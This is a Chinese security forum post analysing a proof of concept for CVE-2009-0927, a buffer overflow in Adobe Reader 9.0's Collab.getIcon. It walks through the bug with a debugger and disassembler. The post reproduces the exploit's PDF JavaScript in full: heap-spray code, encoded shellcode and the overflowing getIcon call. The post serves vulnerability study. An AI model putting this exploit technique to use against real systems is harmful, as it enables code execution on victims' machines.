首页
社区
课程
招聘
CVE-2009-0927POC分析
2020-9-15 10:33 6650

CVE-2009-0927POC分析

2020-9-15 10:33
6650

CVE-2009-0927简介:

1
Adobe Reader是非常流行的PDF文件阅读器,在其Collab对象的getIcon函数中存在一个缓冲区溢出漏洞。同时由于PDF文档中支持内嵌的JavaScript,攻击者可以通过在PDF文档中植入恶意的JavaScript来想getIcon函数传递特制的参数以触发溢出漏洞,并结合Heap Spray攻击来计算机的控制权。

漏洞原理及利用分析:

1
一个PDF文件被打开时会执行OpenAction对象里面的脚本,所以只要在OpenAction对象里添加精心构造的JS脚本就可以实现对Adobe Reader的攻击。通过如下的JS脚本来分析这一攻击过程。

PDF中的JS脚本如下:

 

7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (

 

var shellcode = unescape("%u68fc%u0a6a%u1e38%u6368%ud189%u684f%u7432%u0c91%uf48b%u7e8d%u33f4%ub7db%u2b04%u66e3%u33bb%u5332%u7568%u6573%u5472%ud233%u8b64%u305a%u4b8b%u8b0c%u1c49%u098b%u698b%uad08%u6a3d%u380a%u751e%u9505%u57ff%u95f8%u8b60%u3c45%u4c8b%u7805%ucd03%u598b%u0320%u33dd%u47ff%u348b%u03bb%u99f5%ube0f%u3a06%u74c4%uc108%u07ca%ud003%ueb46%u3bf1%u2454%u751c%u8be4%u2459%udd03%u8b66%u7b3c%u598b%u031c%u03dd%ubb2c%u5f95%u57ab%u3d61%u0a6a%u1e38%ua975%udb33%u6853%u6577%u7473%u6668%u6961%u8b6c%u53c4%u5050%uff53%ufc57%uff53%uf857");
var nops = unescape("%u9090%u9090");
while (nops.length < 0x100000)
nops += nops;
nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
nops=nops+shellcode;
var memory = new Array();
for (var i=0;i<200;i++)
memory[i] += nops;
var str = unescape("%0c%0c%0c%0c");
while(str.length < 0x6000)
str += str;

app.doc.Collab.getIcon(str+'aaaaD.a');

)
>>
endobj

通过给getIcon函数传入特定的较长数据来覆盖SEH处理记录,然后继续往后复制就会触发异常执行shellcode。

漏洞POC表现如下:

 

打开此文档之后会弹出一个MessageBox,标题和内容都为字符串failwest。

实验环境:

操作系统为Windows Xp SP3, 阅读器 Adobe Reader 9.0版本。

分析如下:

1.首先用OllyDbg加载Adobe Reader,启动完成后打开POC文档

碰到一个坑,是OllyDbg忽略了异常,没有停留在异常发生的地方。需要设置如下:

2.打开POC文档出现异常

左下角显示 访问冲突 正在写入到00130000 地址处,调用Alt+M查看内存段属性,截图如下:

内存段为只读属性,此时EDI寄存器为0x130000,反汇编区可以看到此时在EDI指向的内存区域写入数据,所以触发异常。

此时观察右下角栈区域发现有对strncpy的调用,反汇编区域跳转到0x2210FE27,查看此时代码如下:


可以看到0x2210FE27指令前面的一条指令为call edi 通过前面指令可知EDI寄存器指向strncpy函数处,所以此时调用的函数为strncpy函数,这应该就是溢出的根源了,但是strncpy函数限制了复制字符串的长度,为什么还会发生异常呢?继续向上看,原来程序在调用strncpy函数时将复制长度设置成原字符串的长度了,这就相当于strcpy了,当源字符串长度大于目标缓冲区长度时就会发生溢出,通过查看上面代码 可以发现 长度来源于 传入字符串起始位置到字符.的位置相减再-1作为复制的长度,可以通过IDA进行验证。

按ALT+E可以查看程序中所有的模块,可以看到反汇编窗口中指令处于如下模块:

通过IDA打开此文件,跳转到此0x2210FE27,按F5键查看伪C代码如下:


可以看到strncpy复制长度正如我们猜想的是来自于源字符串。
重新打开阅读器,调试如下,在指令0x2210FDE8处设置条件断点eax-edi>500

0x500为一个较大值,可以看到此时已经断了下来,EAX-EDI=0x8005,复制长度为0x8005-1=0x8004,可以看到EDI为0x36EFB1C指向的数据在左下角的数据区中以0xC0C0C0C0开头,继续调试,在call edi指令处中断,此时右下角栈中数据可以看到数据长度为0x8004,source指向0xC0C0C0C0开头的数据,如下所示:

复制目标地址为0x12EB24,复制长度为0x8004,两者相加0x12EB24+0x8004=0x136B28这个内存地址>0x130000,此时继续复制数据的时候就会触发异常。
复制数据过长破坏了栈中数据,覆盖了异常处理函数地址,未调用strncpy函数之前此时按Alt+S可以看此时的SHE链,如下所示:

栈中地址0x12ED28位置处存放SEH结构体,0x12ED28存放下一个SHE记录的位置,0x12ED2C中存放本次异常的处理函数地址,如下所示:
此时按F9运行程序,程序异常停止运行,如下所示:
此时写入到0x130000出现异常,这个之前已经分析过,此时看栈中数据,刚才存放SEH处地址的数据为0x0C0C0C0C,查看SHE链如下所示:

此时触发异常之后调用异常处理函数为0x0C0C0C0C处的数据如下所示:

是一大段的nop,POC表现形式为弹出一个对话框所以此时可以在MessageBoxA下断点,分析shellcode,可以先忽略程序异常,设置如下:

然后F9运行程序,如下所示:

查看0x0C100008处代码:

上一条指令为call [edi-4],可以看到左下角数据区为此时调用的函数为MessageBoxA,然后调用call [edi-8]是ExitProcess函数退出程序。shellcode如下:


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-9-15 23:16 被kanxue编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 0
活跃值: (46)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Blendfunc 2021-1-29 22:37
2
0
学习了,谢谢
游客
登录 | 注册 方可回帖
返回